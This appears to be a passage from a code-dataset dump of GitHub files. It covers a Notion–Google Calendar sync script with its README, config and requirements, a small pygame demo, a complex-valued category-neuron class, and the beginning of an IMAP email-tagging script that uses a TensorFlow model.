print(f\"[{datetime.datetime.now()}] \" +\n \"Add to Notion: \" + str(len(add_to_notion)))\n print(f\"[{datetime.datetime.now()}] \" +\n \"Update in Google: \" + str(len(update_in_google)))\n print(f\"[{datetime.datetime.now()}] \" +\n \"Update in Notion: \" + str(len(update_in_notion)))\n print(f\"[{datetime.datetime.now()}] \" +\n \"Delete from Google: \" + str(len(delete_from_google)))\n print(f\"[{datetime.datetime.now()}] \" +\n \"Delete from Notion: \" + str(len(delete_from_notion)))\n print(f\"[{datetime.datetime.now()}] \" +\n \"Restore from Google: \" + str(len(restore_from_google)))\n print(f\"[{datetime.datetime.now()}] \" +\n \"Restore from Notion: \" + str(len(restore_from_notion)))\n\n # SYNC DATA\n # ====================================================================================================\n\n # TODO: How to find in this NotionCollection\n\n for event in add_to_notion:\n new_event = notion_add_event(cv, service, event)\n if new_event:\n new_event = notion_ev_format(new_event)\n print(f\"[{datetime.datetime.now()}] \" +\n f\"ADDED | NOTION {new_event['calendar']} | [{new_event['title']}] | {new_event['start']} to {new_event['end']}\")\n\n for event in add_to_google:\n new_event = google_add_event(service, event)\n if new_event:\n new_event = google_ev_format(service, new_event)\n print(f\"[{datetime.datetime.now()}] \" +\n f\"ADDED | GOOGLE {new_event['calendar']} | [{new_event['title']}] | {new_event['start']} to {new_event['end']}\")\n\n for nevupd in update_in_notion:\n nev = notion_ev_search(client, nevupd)\n new_event = notion_update_event(nev, nevupd)\n if new_event:\n new_event = notion_ev_format(new_event)\n print(f\"[{datetime.datetime.now()}] \" +\n f\"UPDATED | NOTION {new_event['calendar']} | [{new_event['title']}] | {new_event['start']} to {new_event['end']}\")\n\n for gevupd in update_in_google:\n gev = google_ev_search(service, gevupd)\n\n new_event = google_update_event(service, gev, gevupd)\n if new_event:\n new_event = google_ev_format(service, new_event)\n print(f\"[{datetime.datetime.now()}] \" +\n f\"UPDATED | GOOGLE {new_event['calendar']} | [{new_event['title']}] | {new_event['start']} to {new_event['end']}\")\n\n for gevdel in delete_from_google:\n res = google_delete_event(service, gevdel)\n if res:\n print(f\"[{datetime.datetime.now()}] \" +\n f\"DELETED | GOOGLE {gevdel['calendar']} | [{gevdel['title']}] | {gevdel['start']} to {gevdel['end']}\")\n\n for nevdel in delete_from_notion:\n res = notion_delete_event(nevdel)\n if res:\n nevdel = notion_ev_format(nevdel)\n print(f\"[{datetime.datetime.now()}] \" +\n f\"DELETED | NOTION {nevdel['calendar']} | [{nevdel['title']}] | {nevdel['start']} to {nevdel['end']}\")\n\n for gevres in restore_from_google:\n res = google_restore_event(service, gevres)\n if res:\n res = google_ev_format(service, res)\n print(f\"[{datetime.datetime.now()}] \" +\n f\"RESTORED | GOOGLE {res['calendar']} | [{res['title']}] | {res['start']} to {res['end']}\")\n\n for nevres in restore_from_notion:\n res = notion_restore_event(nevres)\n if res:\n res = notion_ev_format(res)\n print(f\"[{datetime.datetime.now()}] \" +\n f\"RESTORED | NOTION {res['calendar']} | [{res['title']}] | {res['start']} to {res['end']}\")\n\n last_sync = convert_datetime_timezone(\n datetime.datetime.utcnow() - datetime.timedelta(minutes=10), 'UTC', 'UTC')\n time.sleep(70)\n\n\ndef notion_ev_format(nevent):\n\n attemts = 10\n\n while(attemts > 0):\n new_event = {}\n new_event[\"id\"] = nevent.id.replace(\"-\", \"00a00\")\n new_event[\"title\"] = \"\"\n if hasattr(nevent, 'name'):\n new_event[\"title\"] = nevent.name\n\n target_date = None\n\n try:\n target_date = getattr(nevent, notion_date_prop)\n except:\n a = 1\n\n # new_event Target_Date = nevent Target Date\n if target_date == None:\n new_event[\"start\"] = None\n new_event[\"end\"] = None\n new_event[\"timezone\"] = None\n else:\n new_event[\"start\"] = getattr(\n target_date, \"start\")\n new_event[\"end\"] = getattr(target_date, \"end\")\n new_event[\"timezone\"] = getattr(\n target_date, \"timezone\")\n\n if(new_event[\"timezone\"] == \"\"):\n new_event[\"timezone\"] = default_tz\n\n # date/datetime, None\n if new_event[\"end\"] == None:\n # date1, None\n if isinstance(new_event[\"start\"], datetime.date):\n a = 'a'\n # datetime1, None\n else:\n b = 'b'\n\n # date/datetime, date/datetime\n else:\n # date, date\n if isinstance(new_event[\"start\"], datetime.date):\n # date1, date1\n if (new_event[\"start\"] == new_event[\"end\"]):\n new_event[\"end\"] = None\n # date1, date2\n # datetime, datetime\n else:\n # datetime1, datetime1\n delta_minutes = (new_event[\"end\"] -\n new_event[\"start\"]).seconds / 60\n if (new_event[\"start\"] == new_event[\"end\"] or delta_minutes <= 15):\n new_event[\"end\"] = None\n # datetime1, datetime2\n\n if(new_event[\"start\"]):\n new_event[\"start\"] = convert_datetime_timezone(\n new_event[\"start\"], new_event[\"timezone\"], 'UTC')\n if(new_event[\"end\"]):\n new_event[\"end\"] = convert_datetime_timezone(\n new_event[\"end\"], new_event[\"timezone\"], 'UTC')\n\n new_event[\"calendar\"] = \"\"\n try:\n calendar = nevent.l_plan\n calendar = next(item for item in calendar if item is not None)\n calendar = calendar.area\n calendar = next(item for item in calendar if item is not None)\n calendar = calendar.name\n new_event[\"calendar\"] = calendar\n\n except Exception as e:\n a = 1 \n\n if (new_event[\"calendar\"] == \"\"):\n new_event[\"calendar\"] = default_cal\n\n # TODO TZ FORMAT\n new_event[\"updated\"] = convert_datetime_timezone(\n nevent.Last_Edited, 'UTC', 'UTC')\n deleted = getattr(nevent, notion_del_prop)\n\n if deleted == False or deleted == '' or deleted == None:\n new_event[\"deleted\"] = False\n else:\n new_event[\"deleted\"] = True\n\n return new_event\n\n\ndef google_ev_format(service, gevent):\n\n if \"description\" not in gevent:\n gevent[\"description\"] = \"\"\n if \"summary\" not in gevent:\n gevent[\"summary\"] = \"\"\n new_event = {}\n new_event[\"id\"] = gevent[\"id\"]\n new_event[\"title\"] = gevent[\"summary\"]\n new_event[\"description\"] = gevent[\"description\"]\n new_event[\"start\"] = None\n new_event[\"end\"] = None\n new_event[\"timezone\"] = default_tz\n\n # datetime1, datetime2\n if \"start\" in gevent and \"end\" in gevent:\n\n if \"dateTime\" in gevent[\"start\"]:\n new_event[\"start\"] = parse(gevent[\"start\"][\"dateTime\"])\n new_event[\"end\"] = parse(gevent[\"end\"][\"dateTime\"])\n if \"date\" in gevent[\"start\"]:\n new_event[\"start\"] = parse(gevent[\"start\"][\"date\"])\n new_event[\"end\"] = parse(gevent[\"end\"][\"date\"])\n\n if \"timeZone\" in gevent[\"start\"]:\n new_event[\"timezone\"] = gevent[\"start\"][\"timeZone\"]\n\n else:\n if 'organizer' in gevent:\n try:\n calendar = service.calendars().get(\n calendarId=gevent['organizer']['email']).execute()\n new_event[\"timezone\"] = calendar[\"timeZone\"]\n except Exception as e:\n print(\n f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n\n # all day events\n if (new_event[\"start\"].hour == 0 and new_event[\"start\"].minute == 0\n and new_event[\"end\"].hour == 0 and new_event[\"end\"].minute == 0):\n days_delta = (new_event[\"end\"] - new_event[\"start\"]).days\n if(days_delta > 1):\n new_event[\"start\"] = datetime.date(\n new_event[\"start\"].year, new_event[\"start\"].month, new_event[\"start\"].day)\n new_event[\"end\"] = datetime.date(\n new_event[\"end\"].year, new_event[\"end\"].month, new_event[\"end\"].day)\n # date1, date1 + 1\n if(days_delta == 1):\n new_event[\"start\"] = datetime.date(\n new_event[\"start\"].year, new_event[\"start\"].month, new_event[\"start\"].day)\n new_event[\"end\"] = None\n # date1, date1\n if(new_event[\"start\"] == new_event[\"end\"]):\n new_event[\"start\"] = datetime.date(\n new_event[\"start\"].year, new_event[\"start\"].month, new_event[\"start\"].day)\n new_event[\"end\"] = None\n\n # date1, date2\n\n else:\n new_event[\"start\"] = convert_datetime_timezone(\n new_event[\"start\"], new_event[\"timezone\"], 'UTC')\n new_event[\"end\"] = convert_datetime_timezone(\n new_event[\"end\"], new_event[\"timezone\"], 'UTC')\n\n # datetime1, datetime1\n delta_minutes = (new_event[\"end\"] -\n new_event[\"start\"]).seconds / 60\n if (new_event[\"start\"] == new_event[\"end\"] or delta_minutes <= 15):\n new_event[\"end\"] = None\n # datetime1, datetime2\n\n new_event[\"updated\"] = parse(gevent[\"updated\"].split('.')[0])\n new_event[\"updated\"] = convert_datetime_timezone(\n new_event[\"updated\"], 'UTC', 'UTC')\n if \"organizer\" in gevent:\n if \"displayName\" in gevent['organizer']:\n new_event[\"calendar\"] = gevent['organizer']['displayName']\n else:\n new_event[\"calendar\"] = gevent['organizer'][\"email\"]\n else:\n new_event[\"calendar\"] = ''\n if gevent[\"status\"] == \"cancelled\":\n new_event[\"deleted\"] = True\n else:\n new_event[\"deleted\"] = False\n\n return new_event\n\n\ndef compare_evs(nev, gev):\n ev_update = False\n field = \"title\"\n if(gev[field] != nev[field]):\n print(f\"[{datetime.datetime.now()}] \" +\n f\"CHANGES FOUNDED - [{gev['title']}] | [{field}] N {nev[field]} != G {gev[field]}\")\n ev_update = True\n field = \"start\"\n if(gev[field] != nev[field]):\n print(f\"[{datetime.datetime.now()}] \" +\n f\"CHANGES FOUNDED - [{gev['title']}] | [{field}] N {nev[field]} != G {gev[field]}\")\n ev_update = True\n field = \"end\"\n if(gev[field] != nev[field]):\n print(f\"[{datetime.datetime.now()}] \" +\n f\"CHANGES FOUNDED - [{gev['title']}] | [{field}] N {nev[field]} != G {gev[field]}\")\n ev_update = True\n field = \"calendar\"\n if(gev[field] != nev[field]):\n print(f\"[{datetime.datetime.now()}] \" +\n f\"CHANGES FOUNDED - [{gev['title']}] | [{field}] N {nev[field]} != G {gev[field]}\")\n ev_update = True\n return ev_update\n\n\ndef notion_add_event(notion_client, google_client, event):\n\n n_date = NotionDate(convert_datetime_timezone(\n event[\"start\"], 'UTC', event['timezone']))\n n_date.end = convert_datetime_timezone(\n event[\"end\"], 'UTC', event['timezone'])\n n_date.timezone = event[\"timezone\"]\n\n try:\n notion_event = notion_client.collection.add_row()\n notion_event.name = event[\"title\"]\n setattr(notion_event, notion_date_prop, n_date)\n # setattr(notion_event, notion_cal_prop, event[\"calendar\"])\n\n print(f\"[{datetime.datetime.now()}] N ADD DONE {event['title']}\")\n\n except Exception as e:\n print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n\n try:\n nevent_id = str(notion_event.id.replace(\"-\", \"00a00\"))\n event_body = google_client.events().get(calendarId=google_calendar_ids[event[\"calendar\"]],\n eventId=event[\"id\"]).execute()\n except Exception as e:\n print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n\n event_body[\"id\"] = nevent_id\n del event_body[\"iCalUID\"]\n if 'recurringEventId' in event_body:\n del event_body['recurringEventId']\n\n try:\n google_client.events().delete(calendarId=google_calendar_ids[event[\"calendar\"]],\n eventId=event[\"id\"]).execute()\n event_body_new = google_client.events().insert(\n calendarId=google_calendar_ids[event[\"calendar\"]], body=event_body).execute()\n print(f\"[{datetime.datetime.now()}] N ADD (G ID) DONE {event['title']}\")\n except Exception as e:\n # notion_delete_event(notion_event)\n print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n\n return notion_event\n\n\ndef google_ev_search(google_client, _event):\n result = None\n\n if _event['calendar'] not in google_calendar_ids:\n new_calendar = google_calednar_add(google_client, _event)\n google_calendar_ids[new_calendar['summary']] = new_calendar['id']\n\n try:\n result = google_client.events().get(\n calendarId=google_calendar_ids[_event['calendar']], eventId=_event['id']).execute()\n if result != None:\n return result\n except Exception as e:\n # print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n result = None\n\n for calendar in google_calendar_ids.values():\n try:\n result = google_client.events().get(\n calendarId=calendar, eventId=_event['id']).execute()\n \n if result != None and \"organizer\" in result:\n break\n except Exception as e:\n # print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n result = None\n\n return result\n\n\ndef notion_ev_search(notion_client, _event):\n result = None\n try:\n result = notion_client.get_block(_event['id'].replace(\"00a00\", \"-\"))\n except Exception as e:\n return None\n return result\n\n\ndef google_add_event(google_client, _event):\n\n # 1 date - x - All day event -> start 0 0 start+1d 0 0\n # 2 date - date - Many days event -> start end\n # 3 datetime - x - Not impossible with google events -> start start\n # 4 datetime - datetime - regular -> start start\n\n start = \"\"\n end = \"\"\n key = \"\"\n # 1 3\n if _event[\"end\"] == None:\n # 1\n if (isinstance(_event[\"start\"], datetime.date)):\n start = datetime.date(\n _event[\"start\"].year, _event[\"start\"].month, _event[\"start\"].day)\n end = (start + datetime.timedelta(days=1))\n key = \"date\"\n # 3\n if (isinstance(_event[\"start\"], datetime.datetime)):\n start = _event[\"start\"]\n end = _event[\"start\"] + datetime.timedelta(minutes=15)\n key = \"dateTime\"\n # 2 4\n else:\n # 2\n if (isinstance(_event[\"start\"], datetime.date)):\n start = _event[\"start\"]\n end = _event[\"end\"]\n key = \"date\"\n # 4\n if (isinstance(_event[\"start\"], datetime.datetime)):\n start = _event[\"start\"]\n end = _event[\"end\"]\n key = \"dateTime\"\n\n start = str(start).replace(\" \", \"T\")\n end = str(end).replace(\" \", \"T\")\n\n event_body = {\n \"end\": {\n key: end,\n \"timeZone\": _event[\"timezone\"]\n },\n \"start\": {\n key: start,\n \"timeZone\": _event[\"timezone\"]\n },\n \"summary\": _event[\"title\"],\n \"id\": _event[\"id\"],\n \"colorId\": \"8\",\n }\n try:\n event = google_client.events().insert(\n calendarId=google_calendar_ids[_event[\"calendar\"]], body=event_body).execute()\n event = google_client.events().update(calendarId=google_calendar_ids[_event[\"calendar\"]],\n eventId=_event[\"id\"], body=event).execute()\n print(f\"[{datetime.datetime.now()}] G ADD DONE {_event['title']}\")\n except Exception as e:\n print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n\n return event\n\n\ndef notion_update_event(notion_event, event):\n n_date = None\n\n # date - x - All day event\n # date - date - Many days event`\n # datetime - x - Not impossible with google events\n # datetime - datetime - regular\n\n n_date = NotionDate(convert_datetime_timezone(\n event[\"start\"], 'UTC', event['timezone']))\n n_date.end = convert_datetime_timezone(\n event[\"end\"], 'UTC', event['timezone'])\n n_date.timezone = event[\"timezone\"]\n\n try:\n notion_event.name = event[\"title\"]\n setattr(notion_event, notion_date_prop, n_date)\n # setattr(notion_event, notion_cal_prop, event[\"calendar\"])\n print(f\"[{datetime.datetime.now()}] N UPDATE DONE {event['title']}\")\n except Exception as e:\n print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n\n return notion_event\n\n\ndef google_update_event(google_client, gevent, _event):\n\n # 1 date - x - All day event -> start 0 0 start+1d 0 0\n # 2 date - date - Many days event -> start end\n # 3 datetime - x - Not impossible with google events -> start start\n # 4 datetime - datetime - regular -> start start\n\n start = \"\"\n end = \"\"\n key = \"\"\n # 1 3\n if _event[\"end\"] == None:\n # 1\n if (isinstance(_event[\"start\"], datetime.date)):\n start = datetime.date(\n _event[\"start\"].year, _event[\"start\"].month, _event[\"start\"].day)\n end = (start + datetime.timedelta(days=1))\n key = \"date\"\n # 3\n if (isinstance(_event[\"start\"], datetime.datetime)):\n start = _event[\"start\"]\n end = _event[\"start\"] + datetime.timedelta(minutes=15)\n key = \"dateTime\"\n # 2 4\n else:\n # 2\n if (isinstance(_event[\"start\"], datetime.date)):\n start = _event[\"start\"]\n end = _event[\"end\"]\n key = \"date\"\n # 4\n if (isinstance(_event[\"start\"], datetime.datetime)):\n start = _event[\"start\"]\n end = _event[\"end\"]\n key = \"dateTime\"\n\n start = str(start).replace(\" \", \"T\")\n end = str(end).replace(\" \", \"T\")\n\n event_body = {\n \"end\": {\n key: end,\n \"timeZone\": _event[\"timezone\"]\n },\n \"start\": {\n key: start,\n \"timeZone\": _event[\"timezone\"]\n },\n \"summary\": _event[\"title\"],\n \"id\": _event[\"id\"],\n \"colorId\": \"8\",\n }\n\n gev = google_ev_format(google_client, gevent)\n\n if (_event[\"calendar\"] != gev[\"calendar\"]):\n try:\n # make old id free\n event = google_client.events().move(calendarId=google_calendar_ids[gev[\"calendar\"]],\n eventId=(gev[\"id\"]), destination=google_calendar_ids[_event[\"calendar\"]]).execute()\n event = google_client.events().update(calendarId=google_calendar_ids[_event[\"calendar\"]],\n eventId=_event[\"id\"], body=event_body).execute()\n print(f\"[{datetime.datetime.now()}] G UPDATE DONE {_event['title']}\")\n except Exception as e:\n print(\n f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n else:\n try:\n event = google_client.events().update(calendarId=google_calendar_ids[gev[\"calendar\"]],\n eventId=_event[\"id\"], body=event_body).execute()\n print(f\"[{datetime.datetime.now()}] G UPDATE DONE {_event['title']}\")\n except Exception as e:\n print(\n f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n\n return event\n\n\ndef google_restore_event(google_client, _event):\n\n # 1 date - x - All day event -> start 0 0 start+1d 0 0\n # 2 date - date - Many days event -> start end\n # 3 datetime - x - Not impossible with google events -> start start\n # 4 datetime - datetime - regular -> start start\n\n start = \"\"\n end = \"\"\n key = \"\"\n # 1 3\n if _event[\"end\"] == None:\n # 1\n if (isinstance(_event[\"start\"], datetime.date)):\n start = datetime.date(\n _event[\"start\"].year, _event[\"start\"].month, _event[\"start\"].day)\n end = (start + datetime.timedelta(days=1))\n key = \"date\"\n # 3\n if (isinstance(_event[\"start\"], datetime.datetime)):\n start = _event[\"start\"]\n end = _event[\"start\"] + datetime.timedelta(minutes=15)\n key = \"dateTime\"\n # 2 4\n else:\n # 2\n if (isinstance(_event[\"start\"], datetime.date)):\n start = _event[\"start\"]\n end = _event[\"end\"]\n key = \"date\"\n # 4\n if (isinstance(_event[\"start\"], datetime.datetime)):\n start = _event[\"start\"]\n end = _event[\"end\"]\n key = \"dateTime\"\n\n start = str(start).replace(\" \", \"T\")\n end = str(end).replace(\" \", \"T\")\n\n event_body = {\n \"end\": {\n key: end,\n \"timeZone\": _event[\"timezone\"]\n },\n \"start\": {\n key: start,\n \"timeZone\": _event[\"timezone\"]\n },\n \"summary\": _event[\"title\"],\n \"id\": _event[\"id\"],\n \"status\": \"confirmed\"\n }\n\n try:\n event = google_client.events().update(calendarId=google_calendar_ids[_event[\"calendar\"]],\n eventId=_event[\"id\"], body=event_body).execute()\n print(f\"[{datetime.datetime.now()}] G RESTORE DONE {_event['title']}\")\n except Exception as e:\n print(\n f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n\n return event\n\n\ndef google_delete_event(google_client, _event):\n try:\n event = google_client.events().delete(calendarId=google_calendar_ids[_event[\"calendar\"]],\n eventId=_event[\"id\"]).execute()\n print(f\"[{datetime.datetime.now()}] \" +\n f\"G DELETE DONE {_event['title']}\")\n except Exception as e:\n print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return False\n return True\n\n\ndef notion_delete_event(nev):\n\n try:\n if (not hasattr(nev, notion_del_prop)):\n setattr(nev, notion_del_prop, \"Deleted by google\")\n print(f\"[{datetime.datetime.now()}] \" +\n f\"N DELETE DONE {nev.title}\")\n else:\n if getattr(nev, notion_del_prop) == False:\n setattr(nev, notion_del_prop, True)\n print(f\"[{datetime.datetime.now()}] \" +\n f\"N DELETE DONE {nev.title}\")\n\n except Exception as e:\n print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return False\n return True\n\n\ndef notion_restore_event(event):\n\n try:\n setattr(event, notion_del_prop, '')\n print(f\"[{datetime.datetime.now()}] N RESTORE DONE {event['title']}\")\n except Exception as e:\n print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n\n return event\n\n\ndef google_calednar_add(service, event):\n\n calendar = {\n 'summary': event['calendar'],\n 'timeZone': event[\"timezone\"]\n }\n\n created_calendar = None\n try:\n created_calendar = service.calendars().insert(body=calendar).execute()\n print(f\"[{datetime.datetime.now()}] G CAL CREATE DONE {event['calendar']}\")\n except Exception as e:\n print(f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n return None\n\n return created_calendar\n\n\ndef convert_datetime_timezone(dt, tz1, tz2):\n\n if(not tz1 and not tz2):\n tz1 = 'UTC'\n tz2 = 'UTC'\n if (isinstance(dt, datetime.datetime)):\n if dt.tzinfo is None:\n tz1 = pytz.timezone(tz1)\n dt = tz1.localize(dt)\n tz2 = pytz.timezone(tz2)\n dt = dt.astimezone(tz2)\n\n return dt\n\n\nif __name__ == \"__main__\":\n if os.path.exists('token.pickle'):\n main()\n else:\n gcal_auth()\n" }, { "alpha_fraction": 0.8048780560493469, "alphanum_fraction": 0.8048780560493469, "avg_line_length": 40, "blob_id": "50d4c40b4b73278a7dc28a1927e0f88acca474d0", "content_id": "2ac9a6cd441d0b21a673daa3a69e274336d39e66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 82, "license_type": "no_license", "max_line_length": 62, "num_lines": 2, "path": "/README.md", "repo_name": "andreirbkn/notion-gcal-sync", "src_encoding": "UTF-8", "text": "# notion-gcal-sync\nMy version of how notion table and google calendar should work\n" }, { "alpha_fraction": 0.6641221642494202, "alphanum_fraction": 0.6717557311058044, "avg_line_length": 24.799999237060547, "blob_id": "08f9cc348b5862171dc3464e4c3ffd7851c5e184", "content_id": "e428db12ff8f415a7809b53ec1858be1b63395c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 131, "license_type": "no_license", "max_line_length": 32, "num_lines": 5, "path": "/config.py", "repo_name": "andreirbkn/notion-gcal-sync", "src_encoding": "UTF-8", "text": "\nnotion_token_v2 = \"\"\nnotion_table = \"\"\nnotion_date_prop = \"Target Date\"\nnotion_cal_prop = \"Type\"\nnotion_del_prop = \"Skip reason\"\n\n" }, { "alpha_fraction": 0.5225352048873901, "alphanum_fraction": 0.7140845060348511, "avg_line_length": 17.6842098236084, "blob_id": "478696ab4c1fef98344b1802e1260c8341f4db41", "content_id": "44a6828127744475b797220053fa501f74946bfc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 710, "license_type": "no_license", "max_line_length": 32, "num_lines": 38, "path": "/requirements.txt", "repo_name": "andreirbkn/notion-gcal-sync", "src_encoding": "UTF-8", "text": "autopep8==1.5.7\nbeautifulsoup4==4.9.3\nbs4==0.0.1\ncached-property==1.5.2\ncachetools==4.2.2\ncertifi==2020.12.5\nchardet==4.0.0\ncommonmark==0.9.1\ndictdiffer==0.8.1\ngoogle-api-core==1.28.0\ngoogle-api-python-client==2.5.0\ngoogle-auth==1.30.0\ngoogle-auth-httplib2==0.1.0\ngoogle-auth-oauthlib==0.4.4\ngoogleapis-common-protos==1.53.0\nhttplib2==0.19.1\nidna==2.10\nnotion==0.0.28\noauthlib==3.1.0\npackaging==20.9\nprotobuf==3.17.0\npyasn1==0.4.8\npyasn1-modules==0.2.8\npycodestyle==2.7.0\npyparsing==2.4.7\npython-dateutil==2.8.1\npython-slugify==5.0.2\npytz==2021.1\nrequests==2.25.1\nrequests-oauthlib==1.3.0\nrsa==4.7.2\nsix==1.16.0\nsoupsieve==2.2.1\ntext-unidecode==1.3\ntoml==0.10.2\ntzlocal==2.1\nuritemplate==3.0.1\nurllib3==1.26.4\n" } ]
4
DIas-code/PP2_2021-1
https://github.com/DIas-code/PP2_2021-1
efd82e057a44fe20ac96ad0b160ea56116bdb131
977ea7d3592d1099772c3c1571d193c3295dd4ee
0a5100c6acaf60fbead251b685ffc4ee2fbdb19d
refs/heads/master
2023-04-04T22:17:29.391653
2021-04-07T02:57:28
2021-04-07T02:57:28
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4881889820098877, "alphanum_fraction": 0.5603674650192261, "avg_line_length": 16.720930099487305, "blob_id": "61023f2dabc72563f8da0d12f566a005b4665249", "content_id": "3fc63632862cd44feba4d045230246c087065688", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 784, "license_type": "no_license", "max_line_length": 40, "num_lines": 43, "path": "/week9/6.py", "repo_name": "DIas-code/PP2_2021-1", "src_encoding": "UTF-8", "text": "from random import randint\nimport pygame as pg\nimport sys\n \nsc = pg.display.set_mode((400, 400))\n \nbackground = pg.Surface((400, 200))\nbackground.fill((0, 255, 0))\nxb = 0\nyb = 100\n \nhero = pg.Surface((100, 100))\nhero.fill((255, 0, 0))\nx = 0\ny = 50\n \n# порядок прорисовки важен!\nbackground.blit(hero, (x, y))\nsc.blit(background, (xb, yb))\n \npg.display.update()\n \nwhile 1:\n for i in pg.event.get():\n if i.type == pg.QUIT:\n sys.exit()\n elif i.type == pg.MOUSEBUTTONUP:\n yb = randint(0, 200)\n \n if x < 400:\n x += 2\n else:\n x = 0\n \n sc.fill((0, 0, 0))\n background.fill((0, 255, 0))\n \n background.blit(hero, (x, y))\n sc.blit(background, (xb, yb))\n \n pg.display.update()\n \n pg.time.delay(30)\n" } ]
1
PyGAI/NNPlex
https://github.com/PyGAI/NNPlex
016bb25b0ddb4d502080883778fe7fbabf9a1200
cb4350f8a5edce1b821b41ce2ee3394b5e8cba5f
a0df31f81ad9142391d93aefb45680253114e17e
refs/heads/master
2020-05-17T12:58:25.779258
2018-12-31T05:17:57
2018-12-31T05:17:57
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6122743487358093, "alphanum_fraction": 0.6534296274185181, "avg_line_length": 29.799999237060547, "blob_id": "72574f1f3a54417cdfd59ff2636d565203cc7855", "content_id": "ede4c27d0152b6c214bfd6d3f4323960bbdd1d31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1385, "license_type": "no_license", "max_line_length": 154, "num_lines": 45, "path": "/CategoryNeuron.py", "repo_name": "PyGAI/NNPlex", "src_encoding": "UTF-8", "text": "import numpy\n\nclass CategoryNeuron:\n \n def __init__(self, num_categories, cat_periodicity):\n self.num_categories = num_categories\n self.cat_periodicity = cat_periodicity\n pass \n\n def z_to_class(self, z):\n angle = numpy.mod(numpy.angle(z) + 2*numpy.pi, 2 * numpy.pi)\n intermediate = int(numpy.floor(self.num_categories * self.cat_periodicity * angle) / (2*numpy.pi))\n return numpy.mod(intermediate, self.num_categories)\n\n def category_to_bisectors(self, category):\n return (category + 0.5 + (self.num_categories * numpy.arange(self.cat_periodicity))) / (self.num_categories * self.cat_periodicity) * (2*numpy.pi)\n \n \n\n#TESTING \n#neuron = CategoryNeuron(4,1)\n\n#similar class\n#vpi6 = complex(numpy.sqrt(3)/2, 1/2)\n#vpi4 = complex(numpy.sqrt(2)/2, numpy.sqrt(2)/2)\n#vpi3 = complex(1/2, numpy.sqrt(3)/2)\n#vpi2 = complex(0,1)\n\n#print(neuron.z_to_class(vpi3))\n#print(neuron.z_to_class(vpi4))\n#print(neuron.z_to_class(vpi6))\n#print(neuron.z_to_class(vpi2))\n\n#similar class\n#v2pi3 = complex(-1/2, numpy.sqrt(3)/2)\n#v3pi4 = complex(-(numpy.sqrt(2)/2), numpy.sqrt(2)/2)\n#v5pi6 = complex(-(numpy.sqrt(3)/2), 1/2)\n#vpi = complex(-1,0)\n\n#print(neuron.z_to_class(v2pi3))\n#print(neuron.z_to_class(v3pi4))\n#print(neuron.z_to_class(v5pi6))\n#print(neuron.z_to_class(vpi))\n\n#print(neuron.category_to_bisectors(0))" } ]
1
dincamihai/eyey
https://github.com/dincamihai/eyey
25ec6e79807e86d0d0db86bcce45f9d43adef17f
146c75a1c8b4f3da6ced57b4fee43ba3315052e0
e470d98a1cf29d76ee2c09ff2c90a7cbfc5364a1
refs/heads/master
2020-06-12T09:00:14.463839
2019-08-16T08:10:20
2019-08-16T08:10:20
194,252,166
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6031475067138672, "alphanum_fraction": 0.6078877449035645, "avg_line_length": 37.21739196777344, "blob_id": "c7ea49f93a3ac996bb93ccaf94c73e65cc98bf2b", "content_id": "b203d4cf9a12c81f2953001b7b5de9add475674e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5274, "license_type": "permissive", "max_line_length": 131, "num_lines": 138, "path": "/eyey/tagger.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "import os\nimport re\nimport glob\nimport time\nimport email\nimport imaplib\nimport mailbox\nimport word2vec\nimport gensim\nimport pandas as pd\nimport argparse\nfrom bs4 import BeautifulSoup\nfrom tempfile import NamedTemporaryFile\nimport tensorflow as tf\nfrom tensorflow.contrib import predictor\nfrom tensorflow.python.saved_model import tag_constants\nfrom nltk.stem.porter import PorterStemmer\n\nfrom utils import get_messages, log, get_label\nfrom config import get_connection\nfrom params import PARAMS\n\nfrom process_live import process_message\nimport constants\n\n\n\nclass Tagger(object):\n\n def __init__(self, outdir, folders):\n path = os.getcwd() + '/' + outdir + '/export/exporter/*'\n log.info(\"Loading model from: \" + path)\n export_dir = glob.glob(path)[-1]\n self.predict_fn = predictor.from_saved_model(export_dir)\n self.porter = PorterStemmer()\n con = get_connection()\n ok, _ = con.list('INBOX')\n assert ok == \"OK\"\n # all_folders = [f.split()[-1] for f in folders]\n self.con = con\n self.folders = folders\n\n def predict(self, features):\n if features is None:\n return None\n inputs = features.to_csv(index=False, header=False).replace('\\n', '')\n prediction = self.predict_fn({'csv_row': [inputs]})\n label = prediction['output'][0]\n # label = prediction['classes'][0][prediction['scores'][0].argmax()]\n # return label in ['1', b'1']\n return label == 1\n\n def next(self, readonly=True, search='NEW'):\n for folder in self.folders:\n self.con.select(folder, readonly=readonly)\n for (uid, msg, flags) in get_messages(self.con, folder, \"UNSEEN %s\" % search):\n 